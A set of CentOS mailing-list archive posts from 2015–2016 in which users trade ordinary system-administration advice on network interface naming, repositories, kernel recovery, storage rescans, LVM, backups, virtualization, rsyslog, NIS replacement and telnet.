> resolve an OS issue with help from others.
>
> The only vhanged packages in the CentOS Plus 6 repo are the
> kernel (kernel, kernel-abi-whitelist, kernel-doc,
> kernel-firmware, kernel-headers, kernel-devel), the kernel
> performance utilities (perf, python-perf), and postfix.
>
> For detailed differences of the "Plus" kernel see:
> https://wiki.centos.org/AdditionalResources/Repositories/CentOSPlus?action=show=Repositories%2FCentOSPlus#head-a94637ae716c01023f633e8b5fb840f555f6d378
>
  Why not leave all the extra repos disabled, say

sed -i -e 's/^enabled=1/enabled=0/' /etc/yum.repos.d/epel.repo

and manually enable it when you need to get a package from said repo:

yum install -y libmcrypt --enablerepo=epel

> HTH, HAND,
> --
> Charles
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] NICs order

2016-02-01 Thread Mauricio Tavares
On Mon, Feb 1, 2016 at 9:31 AM, Ricardo J. Barberis
 wrote:
> El Lunes 01/02/2016, Daniel Ruiz Molina escribió:
>> Hi,
>>
>> After installing CentOS 7 in a server with 2 NICs, system detects eth0
>> and eth1 in reserve order. I would like to have eth1 as eth0 and eth0 as
>> eth1. I have forced HWADDR attribute in
>> /etc/sysconfig/network-scripts/ifcfg-etc{0,1}, but after rebooting,
>> order is the same...
>>
>> How can I solve it?
>>
>> Thanks.
>
> You could put the MAC addresses in /etc/udev/rules.d/60-net.rules, e.g.:
>
> SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
> ATTR{address}=="11:22:33:aa:bb:cc", ATTR{type}=="1", KERNEL=="eth*", 
> NAME="eth0"
> SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
> ATTR{address}=="44:55:66:dd:ee:ff", ATTR{type}=="1", KERNEL=="eth*", 
> NAME="eth1"
>
>
> But that never worked reliably for me, no matter what I tried.
>
  That is interesting to know. I have not run Centos 7 in a
machine with multiple ports yet, but on 6 blowing up
/etc/udev/rules.d/60-net.rules would make it select the interfaces by
the same order as the MAC.

UPDATE: I just checked my Centos 6 box and it uses
/etc/udev/rules.d/70-persistent-net.rules but in my Centos 7 vm, I
only see a different file altogether

[raub@duckwitch ~]$ ls -l /etc/udev/rules.d/
total 0
-rw-r--r-- 1 root root 0 Jul 25  2014 80-net-name-slot.rules
[raub@duckwitch ~]$



> In the end I had to use different names instead of eth0 and eth1, like:
>
> SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
> ATTR{address}=="11:22:33:aa:bb:cc", ATTR{type}=="1", KERNEL=="eth*", 
> NAME="nic0"
> SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
> ATTR{address}=="44:55:66:dd:ee:ff", ATTR{type}=="1", KERNEL=="eth*", 
> NAME="nic1"
>
>
> And also rename /etc/sysconfig/network-scripts/ifcfg-ethX to ifcfg-nicX and
> modify them accordingly.
>
> HTH,
> --
> Ricardo J. Barberis
> Usuario Linux Nº 250625: http://counter.li.org/
> Usuario LFS Nº 5121: http://www.linuxfromscratch.org/
> Senior SysAdmin / IT Architect - www.DonWeb.com
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] odoo

2016-01-30 Thread Mauricio Pastorini
Gracias Elio, he estado revisando, finalmente desistí de instalarla versión
9 ya que no esta disponible nodejs-clean-css para Centso 6.

ahora trabajando en la versión 8.

El 30 de enero de 2016, 9:44, Elio Bastias, Project Managers <
elio.bast...@gmail.com> escribió:

> Mauricio,
> Como estas,
> Buenos días, desde ARG.
> Te recomiendo que entres a los foros de la comunidad de ODOO, hay tenes
> mucho info sobre el tema de implmentación, te lo comento por que me pasaba
> algo similar pero con la DB y lo pude resolver ahí.-
>
> Saludos
>
> El 26 de enero de 2016, 17:58, Mauricio Pastorini <
> mpastor...@soporte-online.cl> escribió:
>
> > Buenas tardes, tengo un VPS con Centos 6.7 y WHM estoy tratando de
> instalar
> > odoo v 9 y tengo problemas con python 2.7 y nodejs-clean-css
> >
> > alguna experiencia al respecto. ?
> >
> > gracias
> >
> > --
> > *Mauricio Pastorini Torres*
> > Ingeniero Civil Informático
> > *Sistemas de Gestión Online Ltda.*
> > http://www.gestion-online.cl
> > twitter: *@mauricio1964*
> > E-Mail: mpastor...@soporte-online.cl <mpastor...@soporte-online.cl>
> > *+56 9  7439*
> > ___
> > CentOS-es mailing list
> > CentOS-es@centos.org
> > https://lists.centos.org/mailman/listinfo/centos-es
> >
>
>
>
> --
> Elio Bastias
> Project Manager
> Smart - IT
> |Open Source Innovation | Open Source Communications
> Estrategia y Management en Comunicaciones e Infraestructurade IT
>
> |Gtalk/Mail: consul...@eliobastias.com.ar
>
> |Skype:eliobastias
>
> |Twitter User: @eliobastias
>
> |WebSite: http://www.eliobastias.com.ar
>
> |Soporte & Mantenimiento ->http://goo.gl/BEvg73
>
>
> |
> Los precios cotizados por el equipamiento están expresados en Dólares
> Estadounidenses e incluyen todos los impuestos vigentes que gravan este
> tipo de operaciones, excepto el Impuesto al Valor Agregado (I.V.A.) que, en
> caso de corresponder, será adicionado en el porcentaje que establezca la
> ley al momento de realizar la facturación. Los precios resultantes de la
> presente serán pagaderos en dólares estadounidenses billete o en su defecto
> en pesos, según cotización del dólar libre tipo vendedor del Banco de la
> Nación Argentina del día inmediato anterior al de efectivo pago.
> Referencia: www.bna.com.ar
>
> |
> Este mensaje y, en su caso, sus archivos adjuntos, son informaión
> confidencial enviada para uso exclusivo de su destinatario. Está
> terminantemente prohibida la lectura, copia, duplicado o reenvío de esta
> información por parte de cualquier persona distinta del destinatario. Si
> usted ha recibido este mensaje por error, por favor elimínelo e informe de
> inmediato a su remitente.
>
> |
> Antes de imprimir, pensá en tu responsabilidad y compromiso con el MEDIO
> AMBIENTE.-
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>



-- 
*Mauricio Pastorini Torres*
Ingeniero Civil Informático
*Sistemas de Gestión Online Ltda.*
http://www.gestion-online.cl
twitter: *@mauricio1964*
E-Mail: mpastor...@soporte-online.cl <mpastor...@soporte-online.cl>
*+56 9  7439*
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


[CentOS-es] odoo

2016-01-26 Thread Mauricio Pastorini
Buenas tardes, tengo un VPS con Centos 6.7 y WHM estoy tratando de instalar
odoo v 9 y tengo problemas con python 2.7 y nodejs-clean-css

alguna experiencia al respecto. ?

gracias

-- 
*Mauricio Pastorini Torres*
Ingeniero Civil Informático
*Sistemas de Gestión Online Ltda.*
http://www.gestion-online.cl
twitter: *@mauricio1964*
E-Mail: mpastor...@soporte-online.cl <mpastor...@soporte-online.cl>
*+56 9  7439*
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] Urgent Help

2015-11-22 Thread Mauricio Tavares
On Sat, Nov 21, 2015 at 9:31 PM, Siva Prasad Nath
 wrote:
> I am from application back ground. I never worked on Linux. I follow some
> steps which posted on internet.
> I update Kernel from centos rescue cd option. But boot did not update.Is it
> a bug in Centos?
>
  How did you update the kernel exactly?

> On Sunday, November 22, 2015, zep  > wrote:
>
>>
>>
>> On 11/21/2015 12:57 PM, Marcelo Roccasalva wrote:
>> > Boot from DVD/USB. Select rescue installed (on centos7 or vmlinuz
>> > rescue on older), select configure network and mount installed, then
>> > "chroot /mnt/sysimage" and yum install kernel... This should do...
>> >
>> > On Sat, Nov 21, 2015 at 2:05 PM, Siva Prasad Nath
>> >  wrote:
>> >> My boot folder has only rescue vm. How to get actual vm?
>> >>
>> >>
>> >>
>> >> Shiva Prasad Nath
>> >> 92981134
>> >>
>> >> On Sun, Nov 22, 2015 at 12:43 AM, Eero Volotinen > >
>> >> wrote:
>> >>
>> >>> Using rescue mode or some other rescuecd..
>> >>>
>> >>> Eero
>> >>> 21.11.2015 6.41 ip. "Siva Prasad Nath" 
>> >>> kirjoitti:
>> >>>
>>  Hi,
>>  From yesterday my server was down.
>>  It was showing only rescue menu. I copy grub.cfg to grub.cfg.old.
>> Replace
>>  grub.cfg from another server.
>>  Now I cannot start server. How to revert back grub.cfg and how to put
>> vm
>> >>>
>>
>> not intending to sound like a jerk, but I suspect I still will.  given
>> the small bits that I've gleaned from the OPs emails, and his proclivity
>> to  somewhat randomly delete things, I'd suggest using a live cd
>> distro to boot, make backups of all essential and useful data and then
>> start anew with a reinstall.   And if none of that makes sense as a set
>> of instructions, then by all means stop and get some more help rather
>> than plowing forward and making worse things more-worse-est.
>>
>> --
>> public gpg key id: 1362BA1A
>>
>> ___
>> CentOS mailing list
>> CentOS@centos.org
>> https://lists.centos.org/mailman/listinfo/centos
>>
>
>
> --
>
> Shiva Prasad Nath
> 92981134
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] getting a CentOS6 VM on VMware ESXi platform to recognize a new disk device

2015-11-04 Thread Mauricio Tavares
On Wed, Nov 4, 2015 at 10:22 AM, Boris Epstein  wrote:
> Hello Julius,
>
> Thanks - but it doesn't seem to work.
>
> I installed sg3_utils and ran
> #scsi-rescan
>
> but that seemed to have done nothing for some reason.
>
  Dumb question: did dmesg even bother to notice *something* was attached?

> Cheers,
>
> Boris.
>
>
> On Wed, Nov 4, 2015 at 10:12 AM, Tnjulius  wrote:
>
>> Hi Boris,
>> Just rescan the scsi host.
>> #scsi-rescan #if you have sg3_utils package
>> #lsscsi
>> Or
>> #echo "- - -" > /sys/class/scsi_host/host[n]/scan
>>
>> Julius
>>
>> > On Nov 4, 2015, at 15:31, Boris Epstein  wrote:
>> >
>> > Hello all,
>> >
>> > Is there a way to recognize a hot-plugged disk (i.e., to get the system
>> to
>> > recognize it and build the appropriate /dev/sd* device for the new
>> device)
>> > without a reboot?
>> >
>> > Thanks.
>> >
>> > Boris.
>> > ___
>> > CentOS mailing list
>> > CentOS@centos.org
>> > https://lists.centos.org/mailman/listinfo/centos
>> ___
>> CentOS mailing list
>> CentOS@centos.org
>> https://lists.centos.org/mailman/listinfo/centos
>>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] [OT] linux on a PPC (mac mini)

2015-09-15 Thread Mauricio Tavares
On Tue, Sep 15, 2015 at 2:47 PM, Jeremy Hoel  wrote:
> Besides the other linux distros mentioned, you have another more retro type
> choice
>
> http://www.macworld.com/article/2363177/macs/turn-your-g4-era-mac-into-a-next-gen-amiga.html
>
  You know, I do have a G4 mini somewhere... I do wonder if it
also works under emulation (KVM AFAIK does support PPC).

> On Tue, Sep 15, 2015 at 2:29 AM, wwp  wrote:
>
>> Hello there,
>>
>>
>> complete off-topic, sorry about this, but my former idea was to install
>> a CentOS on an old mac mini (PPC!). Disappointed to see that PowerPC is
>> not a supported architecture and that non ARM or Intel architecture are
>> not managed by recent distros.. :-(.
>>
>> Searching the web, I see very few possibilities to install a recent (I
>> need gnome2) GNU/Linux distro on such hardware. I gave Linux MintPPC 11
>> (http://www.mintppc.org/content/list-macs) a try, but the netinstall
>> iso simply fails in installing a boot loader that conserves the
>> original OS/X partition even after many tries and workarounds.
>>
>> Any hint or experience would be welcome?
>>
>>
>> Regards,
>>
>> --
>> wwp
>>
>> ___
>> CentOS mailing list
>> CentOS@centos.org
>> https://lists.centos.org/mailman/listinfo/centos
>>
>>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] new laptop: DVD or Blu-ray

2015-08-20 Thread Mauricio Tavares
On Thu, Aug 20, 2015 at 7:34 AM, Marcin Trendota moonwolf...@gmail.com wrote:
 W dniu 20.08.2015 o 13:26, Mauricio Tavares pisze:
 On Aug 20, 2015 6:54 AM, ken geb...@mousecar.com wrote:

 One of the build options for a laptop I'm looking at buying is DVD vs
 Blu-Ray.  I've never used Blue-ray before, so is there some compelling
 reason, as a Linux guy, to want to get Blu-ray?
First of all, is this going to be your desktop or a server? If the
 later, can't see the point for blueray. One of the compelling reasons
 against is that only movies use it. Second, it has dmr crap in it that

 I used to use Blu-Ray as backup device.

  In that case, the concern about drm is null and void. That said,
how did that work out for you? I thought about doing that because of
the sheer capacity but my experience using DL DVDs for backup was not
as good as the original claims. Retention was not good after a year or
so, which led me to use hard drives instead with a slow rotation
policy and keeping hardware to read it (poor man's futureproofing).

 --
 Over And Out
 MoonWolf
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] new laptop: DVD or Blu-ray

2015-08-20 Thread Mauricio Tavares
On Aug 20, 2015 6:54 AM, ken geb...@mousecar.com wrote:

 One of the build options for a laptop I'm looking at buying is DVD vs
Blu-Ray.  I've never used Blue-ray before, so is there some compelling
reason, as a Linux guy, to want to get Blu-ray?

   First of all, is this going to be your desktop or a server? If the
later, can't see the point for blueray. One of the compelling reasons
against is that only movies use it. Second, it has dmr crap in it that
might require binary only spyware to work. Third, they behave like Android
phones in that they keep pushing new releases but no firmware updates for
older devices; you have to keep on buying new devices which only change
from old one by having brand new spyware. If I were to read in my blueray
movies - legal to do FYI - I would do so somewhere else or find external
drive that can read it.


On the positive side, blueray sounds cooler than DVD.
___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-virt] iSCSI on CentOS 6

2015-07-11 Thread Mauricio Tavares
On Jul 11, 2015 11:37 AM, Miguel Barbosa Gonçalves m...@mbg.pt wrote:

 Hi!

 I am about to deploy a virtualisation cluster based on a storage
 server with 10 Gbps interfaces for iSCSI and two computing nodes
 running VMs in KVM that will access the storage via the 10 Gbps
 network.

 I am trying to find real use cases of people using CentOS 6 as an
 iSCSI target but can't find any.

 Anyone using a configuration similar to this one?

  Which part of the setup do you need help/info on? Hardware choice for
hba cards? Network layout? Setting it up in CentOS?

As you know, if you can't find real use cases involving CentOS, you could
look for those for redhat.


 Thanks in advance!

 Miguel
 ___
 CentOS-virt mailing list
 CentOS-virt@centos.org
 http://lists.centos.org/mailman/listinfo/centos-virt
___
CentOS-virt mailing list
CentOS-virt@centos.org
http://lists.centos.org/mailman/listinfo/centos-virt


Re: [CentOS] LVM hatred, was Re: /boot on a separate partition?

2015-06-23 Thread Mauricio Tavares
On Tue, Jun 23, 2015 at 1:54 PM, Marko Vojinovic vvma...@gmail.com wrote:
 On Tue, 23 Jun 2015 11:15:30 -0500
 Jason Warr ja...@warr.net wrote:

 I'm curious what has made some people hate LVM so much.  I have been
 using it for years on thousands of production systems with no issues
 that could not be easily explained as myself or someone else doing
 something stupid.  And even those issues were pretty few and far
 between.

 /opens can of worms

 Well, I can only tell you my own story, I wouldn't know about other
 people. Basically, it boils down to the following:

 (1) I have no valid usecase for it. I don't remember when was the last
 time I needed to resize partitions (probably back when I was trying to
 install Windows 95). Disk space is very cheap, and if I really need to
 have *that* much data on a single partition, another drive and a few
 intelligently placed symlinks are usually enough. Cases where a symlink
 cannot do the job are indicative of a bad data structure design, and
 LVM is often not a solution, but a patch over a deeper problem
 elsewhere. Though I do admit there are some valid usecases for LVM.

  AIX does use lvm a lot. Main difference is their filesystem
allows live shrinking. Kinda nice to dynamically size a partition
depending on needs, as opposite to the so often suggested approach of
formatting the entire drive as one single partition. Symlinking is
great until whatever the destination is does not mount. I myself use
lvm as disks for my vm clients, which xenserver does too (not my fault
I promise!). It is faster than an image file.

 (2) It is fragile. If you have data on top of LVM spread over an array
 of disks, and one disk dies, the data on the whole array goes away. I
 don't know why such a design of LVM was preferred over something more
 robust (I guess there are reasons), but it doesn't feel right. A bunch
 of flawless drives containing corrupt data is Just Wrong(tm). I know,
 one should always have backups, but still...

  Building a raid0, which is what your example is, and hoping data
will survive in case of a drive failure is wishful thinking. You can
build VLM on the top of a proper raid, or do raid inside lvm
nowadayas... just like zfs,

 (3) It's being pushed as default on everyday ordinary users, who have
 absolutely no need for it. I would understand it as an opt-in feature
 that some people might need in datacenters, drive farms, clouds, etc.,
 but an ordinary user installing a single OS on their everyday laptop
 just doesn't need it. Jumping through hoops during installation to
 opt-in LVM by a small number of experts outweighs similar jumping to
 opt-out of it by a large number of noobs.

  That is not lvm's fault, but the distro's decision.

 Also, related to (3), there was that famous Fedora upgrade fiasco a few
 Fedora releases back. It went like this:

 * A default installation included LVM for all partitions, except
   for /boot, since grub couldn't read inside LVM.
 * Six months later, the upgrade process to the next release of Fedora
   happened to require a lot of space in /boot, more than the default
   settings.
 * The /boot partition, being the only one outside LVM, was the only one
   that couldn't be resized on-the-fly.
 * People who opted-out of LVM usually didn't have a reason to create a
   separate /boot partition, but bundled it under /, circumventing the
   size issue in advance without even knowing it.

  Fedora != lvm unless I have been lied to all these years.

 So the story ended up with lots of people in upgrading griefs purely
 because they couldn't resize the separate /boot partition, and it was
 separate because LVM was present, and LVM was present with the goal of
 making partition resizing easy! A textbook example of a catch-22,
 unbelievable!!

 Of course, I know what you'll say --- it wasn't just LVM, but an
 unfortunate combination of LVM, limitations of grub, bad defaults and a
 lousy upgrade mechanism. And yes, you'd be right, I agree. But the
 bottomline was that people with LVM couldn't upgrade (without bending
 backwards), while people without LVM didn't even notice that there is a
 problem. And since hatred is an irrational thing, you need not look any
 further than that. ;-)

 Best, :-)
 Marko

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Backup PC or other solution

2015-05-07 Thread Mauricio Tavares
On May 7, 2015 6:05 AM, Jussi Hirvi greens...@greenspot.fi wrote:

 I wonder why nobody has yet mentioned rdiff-backup. It combines browsable
directories with multiple versions - the version data is stored in a
separate rdiff-backup-data subdirectory (one per backup task).

 One downside is that rdiff-backup causes a lot of network traffic. For
that reason I currently use rsync to copy over network, and then I use
rdiff-backup locally to create a repository with multiple versions.

 Another system that we use is rdiffweb. It uses rdiff-backup over network
and adds a web interface for clients to browse and restore files or
directories. I did not personally set it up, but it seems to work fine.

  I am one of the people who use rsync with hardlinks. Reason is very
simple and even humble: I built my home backup server around a OpenWrt -
Seagate dockstar if you want to date that - box and an external backup
drive. So I wanted something low resources that did not require me to
install any packages.

That script grew a bit (or a lot) and became my old job's backup code. But,
I admit one think it does miss is having a convenient way to look for a
file, specially if you physically rotate drives. If rdiff-backup will tell
when was the last time a file has been backed up/touched even if drive with
said file is not mounted, I will need to get to learn more about it.


 - Jussi

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] headless VirtualBox on Centos

2015-03-27 Thread Mauricio Tavares
On Fri, Mar 27, 2015 at 6:32 AM, Boris Epstein borepst...@gmail.com wrote:
 Awesome!

 Thanks for your replies everybody.

 I was looking more or less at the same options. Just was wondering if there
 was a ready-made set of scripts somewhere to set all of this in motion to
 save me a little time - but if not, I will just make one.

  I think it depends on which stage you want automated.

o If you built a vm client and just want to fire it up as needed, the
vbox command line should suffice. Just tell it to start headless.
Remember you can later on connect to its console using rdesktop if you
configured it.

o If you want to create the vm from scratch, you can create the vm
itself using vboxmanage (a biased example is shown at
http://unixwars.blogspot.com/2012/01/creating-virtualbox-vms-command-line.html).
Then you could do the initial disk partitioning and installing using,
say, kickstart.

o Another way to do the previous suggestion is to use packer. or JuJu.
Or Vagrant. Of the 3, I myself have more experience with packer.


 Cheers,

 Boris.


 On Fri, Mar 27, 2015 at 3:16 AM, Александр Кириллов nevis...@infoline.su
 wrote:

 I am wondering if there is a set of scripts/utilities for automatically
 starting and running headless (no X11) VM's using VirtualBox omn a CentOS
 6
 server. VNC/RDP access to the VM's would be fine.


 You can also get access to a headless VM console via RDP with VRDE (VBox
 Remote Desktop Extension) available from VBox Extension Pack.


 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Partition

2015-03-25 Thread Mauricio Tavares
On Wed, Mar 25, 2015 at 7:05 PM, Stephen Drotar step...@artifex360.com wrote:
 Hi,

 Can I create partitions on
 a RAID disk from GUI?

  Is the RAID array already defined, maybe hardware RAID? If so,
as far as the OS/installation disk is concerned it is a normal disk
like any other. So you can then partition it any way you want from
GUI.

 Would you recommand partioning
 the drive if so I can only mount
 / /usr /swap

  Why don't you follow John's suggestion and use LVM? You can
install your OS easily in 50GB; my vm host (KVM/libvirt) uses around
6GB for the OS. Create a VG and put the OS partitions you want there
in 10-50G total; I think the OS will be happy if you just have / and
swap if you do not want to think about sizes. Leave the rest unused
for now. Once you have a working machine, then decide how you want to
allocate the rest of the disk (or disks). Worry about emulation after
you have a running server thingie.

Which emulation do you plan on running?

 I am not best at describing my problems

  Have you considered making a diagram instead?

 Cheers,

 Steve
 On Mar 25, 2015, at 5:58 PM, John R Pierce pie...@hogranch.com wrote:

 On 3/25/2015 2:42 PM, Stephen Drotar wrote:
 I’m setting up virtualization and need the VMs to have a certain size of 
 Disk but is only allowing 50GB per volume and I need to find a way to 
 increase that

 what is only allowing this??

 For virtualization, I would create a LVM VG (Volume Group), and for each 
 virtual disk, create a LV (Logical Volume).

 Normally, I don't put virtual disks on the same drive(s) as my OS but if 
 this is a single drive server, there's not much choice in the matter.



 --
 john, recycling bits in santa cruz

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] rsyslog 5.8.10 crashing on centos 6.6 due to relp

2015-03-16 Thread Mauricio Tavares
So I was having an issue with rsyslog in one of my centos 6.6 hosts:

[root@scan ~]# /etc/init.d/rsyslog start
Starting system logger: *** glibc detected *** /sbin/rsyslogd: double
free or corruption (fasttop): 0x7f80cc3da880 ***
=== Backtrace: =
/lib64/libc.so.6(+0x75e66)[0x7f80c9210e66]
/usr/lib64/librelp.so.0(relpTcpDestruct+0x5f)[0x7f80c7f1a9bf]
/usr/lib64/librelp.so.0(relpSrvRun+0x4c)[0x7f80c7f1d08c]
/usr/lib64/librelp.so.0(relpEngineListnerConstructFinalize+0x26)[0x7f80c7f16ac6]
/usr/lib64/librelp.so.0(relpEngineAddListner+0x91)[0x7f80c7f16c61]
/lib64/rsyslog/imrelp.so(+0xd4c)[0x7f80c8122d4c]
[...]
7fff6c305000-7fff6c31c000 rw-p  00:00 0  [stack]
7fff6c3ff000-7fff6c40 r-xp  00:00 0  [vdso]
ff60-ff601000 r-xp  00:00 0
  [vsyscall]


^C
[root@scan ~]#

Since this is the only machine I put relp in (I was playing with it),
and all the others are working, I decided to remove
rsyslog-relp-5.8.10-10.el6_6.x86_64 to see if that solves the issue.
So, I

yum remove rsyslog-relp

and restarted rsyslog and it works now. Now that is fixed, what would
cause rsyslog-relp to crash rsyslog?
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Replacement for NIS/NFS?

2015-02-23 Thread Mauricio Tavares
On Mon, Feb 23, 2015 at 11:22 AM, Niki Kovacs i...@microlinux.fr wrote:
 Hi,

 Over the last few years, I've been using a rather bone-headed solution to
 implement centralized authentication and roamin user profiles in Linux-based
 networks: a combination of NIS and NFS.

 I'm aware it's not ideal in terms of security, but it's been running in our
 local school since 2010, and it just works. The current setup is based on
 Slackware Linux on both server and desktop clients.

 Here's the relevant documentation (which I wrote):

 http://docs.slackware.com/howtos:network_services:roaming_profiles

 BTW, the first two years this solution worked perfectly with CentOS 5.x on
 the server and on the desktop clients.

 I'm currently migrating from Slackware to CentOS, and I'm looking for a
 business-grade replacement of this more or less obsolete configuration.

 I've read about various existing solutions, and I'm not quite sure in which
 direction to go from here: FreeIPA? 389 Directory Server? LDAP+LAM-Manager?

 Here's what I want:

 1. Users should be manageable through a GUI, probably a web interface, so
 the client can create, manage and delete them eventually.

 2. Home directories should be created/deleted automagically under the hood.

 3. Every user should be able to login on any machines and find his or her
 files and preferences.

 What can you suggest? Is there some robust and well-documented solution that
 works more or less out of the box and doesn't make me jump through burning
 loops?

 I'm mainly using CentOS 7, but I'll also have to use CentOS 6.x since in our
 school we have some older hardware that won't run 7.x.

  IMHO, ldap(+kerberos) and nfsv4 with autofs should do the trick.
You can tell NFSv4 to use kerberos not only to authenticate but also
protect/encrypt the connection. Then, user logs in and homedir is
automagically mounted.

For ldap+kerberos in centos, freeipa might do what you want. It has a
web-based gui and works rather well in centos. FYI freeip uses 389
directory server instead of openldap.

 Cheers from the sunny South of France,

  I haven't been in that corner of the world in ages. :(

 Niki Kovacs
 --
 Microlinux - Solutions informatiques 100% Linux et logiciels libres
 7, place de l'église - 30730 Montpezat
 Web  : http://www.microlinux.fr
 Mail : i...@microlinux.fr
 Tél. : 04 66 63 10 32
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


[CentOS] Help with Driver Eth0

2015-02-23 Thread Kevin Mauricio Benavides Castro
Dear Friends of the Community

Here by I request some help, now Install Centos 5.0 in

DELL 3020 one machine installation took correctly, but after installation

I find that the network card that brings integrated computer does not
recognize the eth0.

02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B
PCI Express Gigabit Ethernet controller (rev 02)
Subsystem: Giga-byte Technology Unknown device e000
Flags: bus master, fast devsel, latency 0, IRQ 50
I/O ports at b000 [size=256]
Memory at e151 (64-bit, prefetchable) [size=4K]
Memory at e150 (64-bit, prefetchable) [size=64K]
[virtual] Expansion ROM at e152 [disabled] [size=64K]
Capabilities: [40] Power Management version 3
Capabilities: [50] Message Signalled Interrupts: 64bit+ Queue=0/1
Enable+
Capabilities: [70] Express Endpoint IRQ 1
Capabilities: [b0] MSI-X: Enable- Mask- TabSize=2
Capabilities: [d0] Vital Product Data
Capabilities: [100] Advanced Error Reporting
Capabilities: [140] Virtual Channel
Capabilities: [160] Device Serial Number xx-xx-xx-xx-xx-xx-xx-xx

I researched well into the problem in various forums, but the driver you
need the equipment is Realtek RTL8111B / RTL8168B NIC.
Someone may orient me well what I have to do to install the driver for usb
Offline so ?? if you can clear
regards







*Kevin Mauricio Benavides Castro*
*Integrador de Systemas*
*Cel: +505 84478854 *

*Skype: kevin.olpc.support*
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Cronjob and sudo

2015-02-12 Thread Mauricio Tavares
On Thu, Feb 12, 2015 at 1:32 PM, Matt matt.mailingli...@gmail.com wrote:
 I need to remove empty files out of a directory that are over 6 hours
 old so I created this script and put it in cron.hourly.

 #!/bin/sh
 cd /var/list
 sudo -u matt find /var/list -mmin +360 -empty -user matt -exec rm {} \;


  What if you did not use sudo at all? Say in cron.d:

0 * * * * matt /usr/local/bin/deletecrap /dev/null 21


 I want to run it as matt rather than root for just an added bit of
 safety.  Problem is I get this.

 sudo: sorry, you must have a tty to run sudo

 Is there another way to do this?  As I understand the reason for this
 is requiretty in sudo config.  If that improves security I would
 rather not change that setting.
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] TELNENT TO LOCALHOST IN CENTOS 7

2014-11-24 Thread Mauricio Tavares
On Mon, Nov 24, 2014 at 9:33 AM, Samson oko...@gmail.com wrote:
 I just install Centos 7 on my laptop. I have also installed telnet-server
 and telnet.
 I can telnet to other server from my local CentOS 7 but can not telnet
 localhost also, i can not telnet to my localhost from other server.

 I try to check telnet file in /etc/xinetd.d directory but the file telnet
 is not there.

 Please can someone help me with the steps to install telnet or enable
 telnet services on CENTOS 7 so that i can telnet my localhost.

 Below is the error message:
 [claire@ittestsrvr ~]$ telnet localhost
 Trying ::1...
 telnet: connect to address ::1: Connection refused
 Trying 127.0.0.1...
 telnet: connect to address 127.0.0.1: Connection refused

  I will not go over the question about running telnet in your
laptop; others will chime in. Now that is out, did you check whether
telnet is running using ps and netstat?

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] TELNENT TO LOCALHOST IN CENTOS 7

2014-11-24 Thread Mauricio Tavares
On Mon, Nov 24, 2014 at 9:38 AM, Mauricio Tavares raubvo...@gmail.com wrote:
 On Mon, Nov 24, 2014 at 9:33 AM, Samson oko...@gmail.com wrote:
 I just install Centos 7 on my laptop. I have also installed telnet-server
 and telnet.
 I can telnet to other server from my local CentOS 7 but can not telnet
 localhost also, i can not telnet to my localhost from other server.

 I try to check telnet file in /etc/xinetd.d directory but the file telnet
 is not there.

 Please can someone help me with the steps to install telnet or enable
 telnet services on CENTOS 7 so that i can telnet my localhost.

 Below is the error message:
 [claire@ittestsrvr ~]$ telnet localhost
 Trying ::1...
